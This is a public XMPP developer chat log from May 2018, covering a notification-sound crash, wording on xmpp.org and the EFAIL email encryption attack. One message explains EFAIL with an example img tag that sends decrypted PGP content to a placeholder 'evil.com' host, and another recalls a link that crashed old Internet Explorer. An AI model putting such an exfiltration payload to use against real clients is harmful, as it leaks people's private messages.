Wednesday, May 16, 2018
xsf@muc.xmpp.org
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XSF Discussion | Logs: http://logs.xmpp.org/xsf/ | Agenda https://trello.com/b/Dn6IQOu0/board-meetings

[00:00:29] *** Dave Cridland shows as "xa" and his status message is " (Not available as a result of being idle more than 15 min)"
[00:00:55] *** j.r has joined the room
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[00:09:33] *** Guus shows as "online"
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[00:59:00] *** Dave Cridland shows as "online"
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[00:59:57] *** Dave Cridland shows as "online"
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[01:04:56] *** Dave Cridland shows as "online"
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[01:06:17] *** Dave Cridland shows as "online"
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[01:06:28] *** Dave Cridland shows as "online"
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[01:12:31] *** Dave Cridland shows as "online"
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[01:13:11] *** Dave Cridland shows as "online"
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[01:13:37] *** Dave Cridland shows as "online"
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[01:13:48] *** Guus shows as "online"
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[01:14:28] *** Dave Cridland shows as "online"
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[01:15:16] *** Guus shows as "online"
[01:15:16] *** Guus shows as "online"
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[01:25:21] *** Dave Cridland has left the room
[01:25:38] *** Dave Cridland shows as "online"
[01:29:35] *** Guus shows as "online"
[01:29:35] *** Guus has left the room
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[01:29:36] *** Guus shows as "online"
[01:35:53] *** Chobbes has left the room
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[01:43:42] *** mrdoctorwho shows as "online"
[01:45:07] *** Guus has left the room
[01:47:01] *** Guus shows as "online"
[01:49:05] *** UsL shows as "away" and his status message is " (afk at least 6 minutes by now)"
[01:53:51] *** j.r has joined the room
[01:57:03] *** UsL shows as "xa" and his status message is " (ded at least 14 minutes by now)"
[02:00:29] *** MattJ shows as "away"
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[02:06:06] *** stefandxm shows as "online" and his status message is "Available"
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[02:16:23] *** stefandxm shows as "away" and his status message is "Available"
[02:17:15] *** Dave Cridland has left the room
[02:17:16] *** Dave Cridland shows as "online"
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[02:28:47] *** Guus shows as "online"
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[02:45:03] *** moparisthebest shows as "online"
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[03:18:41] *** Guus shows as "online"
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[03:20:52] *** Yagiza shows as "online" and his status message is "Доступен"
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[03:37:42] *** Yagiza shows as "away" and his status message is "Автостатус из-за бездействия более чем 10 минут"
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[03:43:29] *** Yagiza shows as "online" and his status message is "Доступен"
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[03:48:05] *** Guus shows as "online"
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[04:18:03] *** Dave Cridland shows as "online"
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[04:22:52] *** Yagiza shows as "away" and his status message is "Автостатус из-за бездействия более чем 10 минут"
[04:23:47] *** seandreas has left the room
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[04:34:21] *** mrdoctorwho shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
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[04:55:59] *** Dave Cridland shows as "online"
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[05:00:50] *** Dave Cridland shows as "online"
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[05:01:34] *** Dave Cridland shows as "online"
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[05:06:27] *** Guus shows as "online"
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[05:19:00] *** Guus shows as "online"
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[05:27:50] *** Guus shows as "online"
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[05:35:21] *** stefandxm shows as "away" and his status message is "Available"
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[05:39:05] *** Guus shows as "online"
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[05:51:37] *** Dave Cridland shows as "online"
[05:52:50] *** mrdoctorwho shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[05:52:51] *** marmistrz shows as "online"
[05:53:23] *** rtq3 has left the room
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[05:56:30] *** stefandxm shows as "away" and his status message is "Available"
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[06:02:50] *** mrdoctorwho shows as "xa" and his status message is " (Not available as a result of being idle more than 15 min)"
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[06:08:12] *** Wiktor shows as "online"
[06:09:17] *** ta shows as "online"
[06:17:33] *** Dave Cridland shows as "xa" and his status message is " (Not available as a result of being idle more than 15 min)"
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[06:25:00] *** mrdoctorwho shows as "online"
[06:26:27] *** Dave Cridland shows as "online"
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[06:28:34] *** Steve Kille shows as "online" and his status message is "At Home"
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[06:37:27] *** Dave Cridland shows as "online"
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[06:42:50] *** mrdoctorwho shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[06:43:26] *** mrdoctorwho shows as "online"
[06:46:35] *** Kev shows as "online"
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[06:51:32] *** mrdoctorwho shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[06:52:18] *** forensic58 has joined the room
[06:53:28] *** mrdoctorwho shows as "online"
[06:54:02] *** andy shows as "online"
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[06:57:14] *** Dave Cridland has left the room
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[06:57:55] *** winfried shows as "xa" and his status message is "Auto Status (idle)"
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[07:01:59] *** jonasw shows as "online"
[07:02:02] *** Kev shows as "away"
[07:03:01] *** Steve Kille shows as "away" and his status message is "At Home"
[07:04:01] *** lskdjf has joined the room
[07:04:59] *** Dave Cridland shows as "online"
[07:06:28] *** andy shows as "xa"
[07:06:30] *** Tim shows as "away" and his status message is " (Abwesend wegen Untätigkeit für mehr als 5 Minuten)"
[07:07:00] *** rion has left the room
[07:09:18] *** seandreas has left the room
[07:10:15] *** dwd has left the room
[07:10:56] *** Andrew Nenakhov has left the room
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[07:11:50] *** andy shows as "online"
[07:12:03] *** Dave Cridland shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[07:12:03] *** forensic58 has joined the room
[07:14:32] *** Steve Kille shows as "online" and his status message is "At Home"
[07:14:49] *** stefandxm has joined the room
[07:14:49] *** stefandxm shows as "online" and his status message is "Available"
[07:16:30] *** Tim shows as "xa" and his status message is " (Nicht verfügbar wegen Untätigkeit seit mehr als 15 Minuten)"
[07:16:33] *** Steve Kille shows as "online" and his status message is "At Home"
[07:16:37] *** Steve Kille shows as "online" and his status message is "At Home"
[07:18:08] *** Tim shows as "online"
[07:18:42] *** forensic58 has left the room
[07:18:43] *** blabla shows as "online"
[07:18:56] *** lorddavidiii has joined the room
[07:20:30] *** ralphm has joined the room
[07:22:00] *** Holger shows as "online" and his status message is "I'm available"
[07:22:00] *** Holger shows as "online" and his status message is "I'm available"
[07:22:03] *** Dave Cridland shows as "xa" and his status message is " (Not available as a result of being idle more than 15 min)"
[07:23:11] *** lorddavidiii shows as "online"
[07:25:59] *** Kev shows as "online"
[07:26:03] *** Chobbes has joined the room
[07:30:33] *** Steve Kille has left the room
[07:31:16] *** Steve Kille shows as "online" and his status message is "At Home"
[07:31:19] *** Steve Kille shows as "online" and his status message is "At Home"
[07:32:02] *** Steve Kille shows as "online" and his status message is "Hampton"
[07:34:12] *** Steve Kille has left the room
[07:34:24] *** la|r|ma shows as "online"
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[07:35:14] *** Steve Kille has left the room
[07:35:55] *** Tim shows as "away" and his status message is " (Abwesend wegen Untätigkeit für mehr als 5 Minuten)"
[07:36:55] *** Tim shows as "online"
[07:37:50] *** Kev shows as "away"
[07:39:39] *** Valerian has left the room
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[07:40:25] *** andy shows as "away"
[07:40:50] *** Kev shows as "online"
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[07:45:25] *** andy shows as "xa"
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[07:46:49] *** pep. shows as "online"
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[07:48:48] *** SaltyBones has left the room
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[07:51:43] *** Holger shows as "away" and his status message is "Auto-away (idle)"
[07:51:44] *** Kev shows as "away"
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[08:00:13] *** ralphm shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[08:01:31] *** ralphm shows as "online"
[08:02:08] *** ralphm has left the room
[08:02:40] *** andy shows as "away"
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[08:05:38] *** remko shows as "online"
[08:09:25] *** Holger shows as "online" and his status message is "I'm available"
[08:09:25] *** Holger shows as "online" and his status message is "I'm available"
[08:10:06] *** Andrew Nenakhov has left the room
[08:11:24] *** andy shows as "away"
[08:11:36] *** ralphm has joined the room
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[08:20:00] *** andy shows as "away"
[08:20:11] *** tux shows as "dnd" and his status message is "Work work …"
[08:20:49] *** alexis has left the room
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[08:22:07] *** andy shows as "online"
[08:22:23] *** ralphm shows as "away" and his status message is " (Away as a result of being idle more than 5 min)"
[08:23:21] *** Dave Cridland has left the room
[08:23:25] *** Dave Cridland shows as "online"
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[08:25:29] *** Dave Cridland shows as "online"
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[08:27:01] *** Dave Cridland has left the room
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[11:00:03] <MattJ> Wow, Swift just crashed my Pulseaudio :)
[11:00:13] <MattJ> and then crashed itself
[11:00:44] <MattJ> Looks like one of my local test accounts had a $large number of offline messages
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[11:01:34] <Ge0rG> ,oO( https://op-co.de/tmp/chatsecure-crash-iphone.mp4 )
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[11:02:47] <MattJ> Nice :)
[11:03:02] <MattJ> It's like winning Solitaire
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[11:04:40] <jonasw> what
[11:04:47] <jonasw> how do a lot of offline messages crash pulseaudio.
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[11:05:34] <MattJ> jonasw, notification sound. I think it probably tried to play thousands of them at once
[11:05:55] <jonasw> and opening a pulseaudio connection for each, I guess, probably by invoking paplay or something. that makes sense.
[11:05:59] <jonasw> but still a bug in pulse probably :)
[11:06:03] <MattJ> Yeah
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[11:41:08] <flow> > jonasw> but still a bug in pulse probably :)
[11:41:19] <flow> not sure if lennart would agree
[11:41:55] <jonasw> AFAIK lennart isn’t involved with pulse anymore
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[11:43:04] <Zash> I'm allergic to notification sounds. Probably forever scarred by how annoying that ICQ oh-oh sound got after a while.
[11:45:24] <jonasw> I feel you
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[13:11:55] <debacle> Recently I complained about xmpp.org advertising XMPP as "most secure" messaging standard. Some people agreed, that "most secure" is not the most important feature to advertise XMPP with. And some people might even doubt, that XMPP is exceptionally secure :~)
[13:12:12] <debacle> I suggest to replace "most secure" with the word "universal".
[13:12:46] <Zash> Secure in its awesomeness
[13:13:26] <Seve/SouL> Yes
[13:13:29] <Seve/SouL> that's the idea for me
[13:13:36] <debacle> I believe, that the most important aspect of XMPP compared to other, similar technologies is it's "universal" approach. eXtensible for whatever one likes to do, useful for IoT, WebRTC, and social (below on xmpp.org), etc.
[13:13:40] <Seve/SouL> Something that would mean in a way 'the standard'
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[13:13:49] <Seve/SouL> I like that
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[13:14:03] <daniel> The literal battle tested might also not fly well with some people...
[13:14:04] <Zash> The Standard.
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[13:14:19] <Seve/SouL> Yes.
[13:14:26] <Zash> It's probably fine for it to be bold
[13:14:34] <debacle> "Battle-tested" might also be something to change, true.
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[13:14:52] <Zash> What was that saying about how to get replies on the Internet? State something wrong. People will flock to correct you.
[13:15:37] <Zash> debacle: That might actually be true in a literal sense.
[13:15:51] <daniel> Zash: that's the problem
[13:16:21] <debacle> Yes, but do you want to use this use case for the ads? :~)
[13:16:40] <debacle> Pacifists or anti-bellicists might go to Matrix then :~)
[13:17:11] <daniel> I mean I personally don't have issues with that. But advertising oneself as the protocol that is used to kill people (albeit indirectly) is probably not the best idea for some target audience
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[13:17:45] <debacle> XEPs are lethal in some way...
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[13:18:06] <Zash> XEPs don't kill people. People kill people.
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[13:19:06] <daniel> That would make for a better slogan
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[13:22:40] <Kev> I raised the tagline at the time. It was a deliberate decision by (then) Board.
[13:22:45] <debacle> Back to my complaint: Who could decide over s/most secure/universal/ on xmpp.org? (Or any other change?)
[13:23:25] <Zash> Board?
[13:23:30] <debacle> Maybe also s/Battle-tested./Secure./ :
[13:23:35] <debacle> Maybe also s/Battle-tested./Secure./ ?
[13:23:43] <Zash> Why not have bold marketing tho?
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[13:26:35] <debacle> Bold?
[13:27:32] <daniel> Not everything that's bold is also good or useful. Advertising Conversations as trusted by ISIS and organized crime might be bold but arguably pretty bad marketing
[13:27:55] <Zash> All publicity is good publicity, as they say
[13:28:28] <debacle> The EFFail was no good marketing, neither for PGP nor EFF.
[13:29:31] <Zash> When everyone has forgotten the details, they might remember "PGP". If so, then it was a success.
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[13:29:49] <vanitasvitae> I should read that paper in depth at some point to evaluate its impact on OpenPGP for XMPP.
[13:29:56] <Kev> If people read the details, they'd see it had nothing to do with pgp in the first place :)
[13:29:57] <debacle> The remember "PGP is dangerous, I must uninstall it and replace with Signal"
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[13:30:17] <debacle> They remember "PGP is dangerous, I must uninstall it and replace with Signal"
[13:30:33] <Zash> vanitasvitae: It wasn't about PGP, it was about MIME and email clients being terrible
[13:30:48] <vanitasvitae> Zash, no, it was also about PGP
[13:31:15] <vanitasvitae> PGP was just harder to attack
[13:31:27] <moparisthebest> not really, it was an HTML thing, you know, like xhmtl-im
[13:31:30] <daniel> If you put xhtml in your ox one could maybe do something similar
[13:31:38] <daniel> Under some conditions
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[13:32:15] <daniel> If you implemted both xhtml and your ox in a bad way that is
[13:32:28] <vanitasvitae> daniel, I suspect that XMPP would be vulnerable the same way. You could for example insert references. Or even HTTP-Upload links.
[13:32:53] <vanitasvitae> But I have to evaluate that in more depth
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[13:33:11] <Zash> If you put [[<img src="http://evil.com/]] followed by PGP-encrypted data it went and did a HTTP query for evil.com/encrypted-secrets-here
[13:34:59] <daniel> Yeah I think you could deliberately Design and implemted ox in a way that is vulnerable. But I think that might be a bit harder. Because unlike the mime parsers it won't mix different parts of the stanza
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[13:35:14] <MattJ> debacle, make a pull request on Github with your proposed change, and I'm sure everything will follow on from there
[13:35:50] <debacle> MattJ, will do, thanks!
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[13:36:58] <vanitasvitae> by the look of things, OX puts the stuff that is interpreted as the message payload in an additional element (<signcrypt/> for example), so an attack would be very complicated. Harder than attacking email at least :D
[13:37:26] <Zash> As long as messages are either encrypted or not, it should be fine
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[14:13:16] <Wiktor> who would've though using stricter XML instead of lax HTML would prevent some attacks? /s the same style of attack: https://githubengineering.com/githubs-post-csp-journey/
[14:13:54] <Zash> Nah, who cares, kill XHTML
[14:14:07] <Zash> XHTML is dead, long live tag soup!
[14:15:32] <Wiktor> yep, that's the effect of this thinking, move fast break things, and XHTML-2 was claimed to be "bad" because it made people watch green screens of death
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[14:15:58] <Zash> Nah, XHTML 2 was bad because it fixed stupid early mistakes in HTML
[14:16:18] <Zash> Like a single <h> instead of <h[1-6]>
[14:16:45] <Wiktor> single <h> is not as easy as it seems: https://jakearchibald.com/2017/do-we-need-a-new-heading-element/
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[14:19:04] <Link Mauve> Wiktor, s/green/yellow/ :p
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[14:19:40] <Wiktor> Link Mauve: yes, lol, I've imagined yellow but said green, weird
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[14:20:44] <moparisthebest> I miss the good old days when I could link people to https://www.moparisthebest.com/no.html and if they opened it in IE it would blue-screen-of-death their computer
[14:21:00] <moparisthebest> because the img width/height were too large of integers...
[14:21:36] <Wiktor> deathpic.png, sounds dangerous
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[14:21:40] <Link Mauve> This is scary at so many levels.
[14:21:57] <Link Mauve> Why would parsing an HTML integer trigger a kernel panic.
[14:21:59] <moparisthebest> yea everyone thought it was the image, it wasn't, it's an overflow with the tags :)
[14:22:05] <moparisthebest> Link Mauve, right? :)
[14:22:27] <moparisthebest> I want to say it was vulnerable to windows xp sp1, then sp2 fixed it
[14:26:40] <Ge0rG> "vulnerable to windows xp" - isn't that a problem affecting most PCs produced in the last decade?
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[15:44:41] <moparisthebest> are there any XSD wizards in here that could tell me if according to this schema if I can have multiple <Property/> elements with the same type? http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#element.property
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[15:45:21] <moparisthebest> like <Link bla><Property type="something">data1</Property><Property type="something">data2</Property></Link> ?
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[15:53:08] <moparisthebest> http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#examples.2 has <Property type="http://spec.example.net/version">1.0</Property><Property type="http://spec.example.net/version">2.0</Property>
[15:53:37] <moparisthebest> so I guess the answer is yes? though what does "XRD Examples (Non-Normative)" mean? :)
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[16:14:47] <jonasw> moparisthebest, I’m rather sure that XSD can’t express such things
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[16:16:21] <moparisthebest> thanks jonasw , as an aside you've been doing an exceptional job as editor lately
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[16:16:33] <jonasw> thanks
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[17:27:26] *** la|r|ma shows as "online"
[17:27:33] *** la|r|ma shows as "online"
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[17:28:05] *** la|r|ma shows as "online"
[17:28:14] *** la|r|ma shows as "online"
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[17:28:53] *** la|r|ma shows as "online"
[17:29:01] *** la|r|ma shows as "online"
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[17:30:05] <pep.> only lately, before that it was crap
[17:30:06] *** la|r|ma shows as "online"
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[17:43:05] <lovetox> :D
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